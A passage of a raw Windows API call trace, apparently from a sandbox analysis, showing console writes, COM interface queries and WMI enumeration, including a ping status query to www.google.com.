lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.078] GetConsoleOutputCP () returned 0x1b5 [0137.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.079] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eeb7c | out: lpConsoleScreenBufferInfo=0x59eeb7c) returned 1 [0137.079] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeb74 | out: lpMode=0x59eeb74) returned 1 [0137.079] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2431548*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb68, lpReserved=0x0 | out: lpBuffer=0x2431548*, lpNumberOfCharsWritten=0x59eeb68*=0x4f) returned 1 [0137.080] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeb74 | out: lpMode=0x59eeb74) returned 1 [0137.080] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb68, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb68*=0x2) returned 1 [0137.080] GetConsoleOutputCP () returned 0x1b5 [0137.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.081] GetConsoleOutputCP () returned 0x1b5 [0137.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.081] GetConsoleOutputCP () returned 0x1b5 [0137.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.081] GetConsoleOutputCP () returned 0x1b5 [0137.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.081] GetConsoleOutputCP () returned 0x1b5 [0137.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.082] GetConsoleOutputCP () returned 0x1b5 [0137.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.082] GetConsoleOutputCP () returned 0x1b5 [0137.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.082] GetConsoleOutputCP () returned 0x1b5 [0137.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0137.082] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eebb0 | out: lpConsoleScreenBufferInfo=0x59eebb0) returned 1 [0137.083] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0137.083] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24319b8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x24319b8*, lpNumberOfCharsWritten=0x59eeb9c*=0x4f) returned 1 [0137.083] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0137.083] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb9c*=0x2) returned 1 [0137.084] CoGetContextToken (in: pToken=0x59eedac | out: pToken=0x59eedac) returned 0x0 [0137.084] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef64 | out: ppEnum=0x59eef64*=0x4aeeb0) returned 0x0 [0137.115] IUnknown:QueryInterface (in: This=0x4aeeb0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4aeeb4) returned 0x0 [0137.115] IClientSecurity:QueryBlanket (in: This=0x4aeeb4, pProxy=0x4aeeb0, pAuthnSvc=0x59eee70, pAuthzSvc=0x59eee6c, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68, pImpLevel=0x59eee58, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60 | out: pAuthnSvc=0x59eee70*=0xa, pAuthzSvc=0x59eee6c*=0x0, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68*=0x6, pImpLevel=0x59eee58*=0x2, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60*=0x1) returned 0x0 [0137.115] IUnknown:Release (This=0x4aeeb4) returned 0x1 [0137.115] IUnknown:QueryInterface (in: This=0x4aeeb0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee14 | out: ppvObject=0x59eee14*=0x535b9c) returned 0x0 [0137.115] IUnknown:QueryInterface (in: This=0x4aeeb0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee00 | out: ppvObject=0x59eee00*=0x4aeeb4) returned 0x0 [0137.115] IClientSecurity:SetBlanket (This=0x4aeeb4, pProxy=0x4aeeb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.133] IUnknown:Release (This=0x4aeeb4) returned 0x2 [0137.133] WbemLocator:IUnknown:Release (This=0x535b9c) returned 0x1 [0137.133] CoTaskMemFree (pv=0x5073e0) [0137.133] IUnknown:AddRef (This=0x4aeeb0) returned 0x2 [0137.134] CoGetContextToken (in: pToken=0x59ee330 | out: pToken=0x59ee330) returned 0x0 [0137.134] CoGetContextToken (in: pToken=0x59ee744 | out: pToken=0x59ee744) returned 0x0 [0137.134] IUnknown:QueryInterface (in: This=0x4aeeb0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6dc | out: ppvObject=0x59ee6dc*=0x535b84) returned 0x0 [0137.134] WbemLocator:IRpcOptions:Query (in: This=0x535b84, pPrx=0x4f25920, dwProperty=2, pdwValue=0x59ee7d0 | out: pdwValue=0x59ee7d0) returned 0x80004002 [0137.134] WbemLocator:IUnknown:Release (This=0x535b84) returned 0x2 [0137.135] CoGetContextToken (in: pToken=0x59eed14 | out: pToken=0x59eed14) returned 0x0 [0137.135] CoGetContextToken (in: pToken=0x59eec74 | out: pToken=0x59eec74) returned 0x0 [0137.135] IUnknown:QueryInterface (in: This=0x4aeeb0, riid=0x59eed44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec10 | out: ppvObject=0x59eec10*=0x4aeeb0) returned 0x0 [0137.135] IUnknown:Release (This=0x4aeeb0) returned 0x2 [0137.135] SysStringLen (param_1=0x0) returned 0x0 [0137.135] IEnumWbemClassObject:Reset (This=0x4aeeb0) returned 0x0 [0137.148] CoTaskMemAlloc (cb=0x4) returned 0x4f4b160 [0137.148] IEnumWbemClassObject:Next (in: This=0x4aeeb0, lTimeout=-1, uCount=0x1, apObjects=0x4f4b160, puReturned=0x2431b04 | out: apObjects=0x4f4b160*=0x4f4cbf0, puReturned=0x2431b04*=0x1) returned 0x0 [0137.159] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5bc | out: ppvObject=0x59ee5bc*=0x4f4cbf0) returned 0x0 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee570 | out: ppvObject=0x59ee570*=0x0) returned 0x80004002 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee398 | out: ppvObject=0x59ee398*=0x0) returned 0x80004002 [0137.160] IUnknown:AddRef (This=0x4f4cbf0) returned 0x3 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edecc | out: ppvObject=0x59edecc*=0x0) returned 0x80004002 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede7c | out: ppvObject=0x59ede7c*=0x0) returned 0x80004002 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede88 | out: ppvObject=0x59ede88*=0x4f4cbf4) returned 0x0 [0137.160] IMarshal:GetUnmarshalClass (in: This=0x4f4cbf4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59ede90 | out: pCid=0x59ede90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0137.160] IUnknown:Release (This=0x4f4cbf4) returned 0x3 [0137.160] CoGetContextToken (in: pToken=0x59edee8 | out: pToken=0x59edee8) returned 0x0 [0137.160] CoGetContextToken (in: pToken=0x59ee2fc | out: pToken=0x59ee2fc) returned 0x0 [0137.160] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee37c | out: ppvObject=0x59ee37c*=0x0) returned 0x80004002 [0137.161] IUnknown:Release (This=0x4f4cbf0) returned 0x2 [0137.161] CoGetContextToken (in: pToken=0x59ee8e4 | out: pToken=0x59ee8e4) returned 0x0 [0137.161] CoGetContextToken (in: pToken=0x59ee844 | out: pToken=0x59ee844) returned 0x0 [0137.161] IUnknown:QueryInterface (in: This=0x4f4cbf0, riid=0x59ee914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee910 | out: ppvObject=0x59ee910*=0x4f4cbf0) returned 0x0 [0137.161] IUnknown:AddRef (This=0x4f4cbf0) returned 0x4 [0137.161] IUnknown:Release (This=0x4f4cbf0) returned 0x3 [0137.161] IUnknown:Release (This=0x4f4cbf0) returned 0x2 [0137.161] CoTaskMemFree (pv=0x4f4b160) [0137.161] CoGetContextToken (in: pToken=0x59eec54 | out: pToken=0x59eec54) returned 0x0 [0137.161] IUnknown:AddRef (This=0x4f4cbf0) returned 0x3 [0137.162] CoTaskMemAlloc (cb=0x4) returned 0x4f4b160 [0137.162] IEnumWbemClassObject:Next (in: This=0x4aeeb0, lTimeout=-1, uCount=0x1, apObjects=0x4f4b160, puReturned=0x2431b04 | out: apObjects=0x4f4b160*=0x0, puReturned=0x2431b04*=0x0) returned 0x1 [0137.182] CoTaskMemFree (pv=0x4f4b160) [0138.190] CoTaskMemAlloc (cb=0x4) returned 0x4f35c68 [0138.190] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f35c68, puReturned=0x2245e44 | out: apObjects=0x4f35c68*=0x0, puReturned=0x2245e44*=0x0) returned 0x1 [0138.193] CoTaskMemFree (pv=0x4f35c68) [0138.193] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0138.194] IUnknown:Release (This=0x4af360) returned 0x1 [0138.194] IUnknown:Release (This=0x4af360) returned 0x0 [0138.198] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0138.198] IUnknown:Release (This=0x4af298) returned 0x1 [0138.198] IUnknown:Release (This=0x4af298) returned 0x0 [0138.230] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0138.230] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0138.230] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0138.230] CoUnmarshalInterface (in: pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59eebd8 | out: ppv=0x59eebd8*=0x5357dc) returned 0x0 [0138.231] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5357dc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0138.231] WbemLocator:IUnknown:QueryInterface (in: This=0x5357dc, riid=0x59eecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59eecb0 | out: ppvObject=0x59eecb0*=0x4f43b40) returned 0x0 [0138.231] WbemLocator:IUnknown:Release (This=0x5357dc) returned 0x1 [0138.231] IWbemServices:ExecQuery (in: This=0x4f43b40, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.google.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59eef1c | out: ppEnum=0x59eef1c*=0x4af298) returned 0x0 [0138.270] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eece8 | out: ppvObject=0x59eece8*=0x4af29c) returned 0x0 [0138.270] IClientSecurity:QueryBlanket (in: This=0x4af29c, pProxy=0x4af298, pAuthnSvc=0x59eed38, pAuthzSvc=0x59eed34, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30, pImpLevel=0x59eed20, pAuthInfo=0x59eed24, pCapabilites=0x59eed28 | out: pAuthnSvc=0x59eed38*=0xa, pAuthzSvc=0x59eed34*=0x0, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30*=0x6, pImpLevel=0x59eed20*=0x2, pAuthInfo=0x59eed24, pCapabilites=0x59eed28*=0x1) returned 0x0 [0138.271] IUnknown:Release (This=0x4af29c) returned 0x1 [0138.271] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecdc | out: ppvObject=0x59eecdc*=0x5358cc) returned 0x0 [0138.271] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecc8 | out: ppvObject=0x59eecc8*=0x4af29c) returned 0x0 [0138.271] IClientSecurity:SetBlanket (This=0x4af29c, pProxy=0x4af298, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.356] IUnknown:Release (This=0x4af29c) returned 0x2 [0138.356] WbemLocator:IUnknown:Release (This=0x5358cc) returned 0x1 [0138.356] CoTaskMemFree (pv=0x4f3e290) [0138.356] IUnknown:AddRef (This=0x4af298) returned 0x2 [0138.356] CoGetContextToken (in: pToken=0x59ee208 | out: pToken=0x59ee208) returned 0x0 [0138.356] CoGetContextToken (in: pToken=0x59ee61c | out: pToken=0x59ee61c) returned 0x0 [0138.356] IUnknown:QueryInterface (in: This=0x4af298, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5b4 | out: ppvObject=0x59ee5b4*=0x5358b4) returned 0x0 [0138.357] WbemLocator:IRpcOptions:Query (in: This=0x5358b4, pPrx=0x4f38ac0, dwProperty=2, pdwValue=0x59ee6a8 | out: pdwValue=0x59ee6a8) returned 0x80004002 [0138.357] WbemLocator:IUnknown:Release (This=0x5358b4) returned 0x2 [0138.357] CoGetContextToken (in: pToken=0x59eebec | out: pToken=0x59eebec) returned 0x0 [0138.357] CoGetContextToken (in: pToken=0x59eeb4c | out: pToken=0x59eeb4c) returned 0x0 [0138.357] IUnknown:QueryInterface (in: This=0x4af298, riid=0x59eec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eeae8 | out: ppvObject=0x59eeae8*=0x4af298) returned 0x0 [0138.357] IUnknown:Release (This=0x4af298) returned 0x2 [0138.357] WbemLocator:IUnknown:Release (This=0x4f43b40) returned 0x0 [0138.357] SysStringLen (param_1=0x0) returned 0x0 [0138.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef68 | out: puCount=0x59eef68*=0x2) returned 0x0 [0138.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0x0, pszText=0x0 | out: puBuffLength=0x59eef64*=0xf, pszText=0x0) returned 0x0 [0138.358] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.358] CoGetContextToken (in: pToken=0x59eedbc | out: pToken=0x59eedbc) returned 0x0 [0138.358] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef74 | out: ppEnum=0x59eef74*=0x4af360) returned 0x0 [0138.374] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee30 | out: ppvObject=0x59eee30*=0x4af364) returned 0x0 [0138.375] IClientSecurity:QueryBlanket (in: This=0x4af364, pProxy=0x4af360, pAuthnSvc=0x59eee80, pAuthzSvc=0x59eee7c, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78, pImpLevel=0x59eee68, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70 | out: pAuthnSvc=0x59eee80*=0xa, pAuthzSvc=0x59eee7c*=0x0, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78*=0x6, pImpLevel=0x59eee68*=0x2, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70*=0x1) returned 0x0 [0138.375] IUnknown:Release (This=0x4af364) returned 0x1 [0138.375] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee24 | out: ppvObject=0x59eee24*=0x5357dc) returned 0x0 [0138.375] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee10 | out: ppvObject=0x59eee10*=0x4af364) returned 0x0 [0138.375] IClientSecurity:SetBlanket (This=0x4af364, pProxy=0x4af360, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.439] IUnknown:Release (This=0x4af364) returned 0x2 [0138.439] WbemLocator:IUnknown:Release (This=0x5357dc) returned 0x1 [0138.439] CoTaskMemFree (pv=0x4f3e2f0) [0138.439] IUnknown:AddRef (This=0x4af360) returned 0x2 [0138.440] CoGetContextToken (in: pToken=0x59ee340 | out: pToken=0x59ee340) returned 0x0 [0138.440] CoGetContextToken (in: pToken=0x59ee754 | out: pToken=0x59ee754) returned 0x0 [0138.440] IUnknown:QueryInterface (in: This=0x4af360, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6ec | out: ppvObject=0x59ee6ec*=0x5357c4) returned 0x0 [0138.440] WbemLocator:IRpcOptions:Query (in: This=0x5357c4, pPrx=0x4f38ad8, dwProperty=2, pdwValue=0x59ee7e0 | out: pdwValue=0x59ee7e0) returned 0x80004002 [0138.440] WbemLocator:IUnknown:Release (This=0x5357c4) returned 0x2 [0138.440] CoGetContextToken (in: pToken=0x59eed24 | out: pToken=0x59eed24) returned 0x0 [0138.441] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0138.441] IUnknown:QueryInterface (in: This=0x4af360, riid=0x59eed54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec20 | out: ppvObject=0x59eec20*=0x4af360) returned 0x0 [0138.441] IUnknown:Release (This=0x4af360) returned 0x2 [0138.441] SysStringLen (param_1=0x0) returned 0x0 [0138.441] IEnumWbemClassObject:Reset (This=0x4af360) returned 0x0 [0138.461] CoTaskMemAlloc (cb=0x4) returned 0x4f35d78 [0138.461] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f35d78, puReturned=0x24321cc | out: apObjects=0x4f35d78*=0x507f00, puReturned=0x24321cc*=0x1) returned 0x0 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5cc | out: ppvObject=0x59ee5cc*=0x507f00) returned 0x0 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee580 | out: ppvObject=0x59ee580*=0x0) returned 0x80004002 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee3a8 | out: ppvObject=0x59ee3a8*=0x0) returned 0x80004002 [0138.535] IUnknown:AddRef (This=0x507f00) returned 0x3 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59ededc | out: ppvObject=0x59ededc*=0x0) returned 0x80004002 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede8c | out: ppvObject=0x59ede8c*=0x0) returned 0x80004002 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede98 | out: ppvObject=0x59ede98*=0x507f04) returned 0x0 [0138.535] IMarshal:GetUnmarshalClass (in: This=0x507f04, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59edea0 | out: pCid=0x59edea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.535] IUnknown:Release (This=0x507f04) returned 0x3 [0138.535] CoGetContextToken (in: pToken=0x59edef8 | out: pToken=0x59edef8) returned 0x0 [0138.535] CoGetContextToken (in: pToken=0x59ee30c | out: pToken=0x59ee30c) returned 0x0 [0138.535] IUnknown:QueryInterface (in: This=0x507f00, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee38c | out: 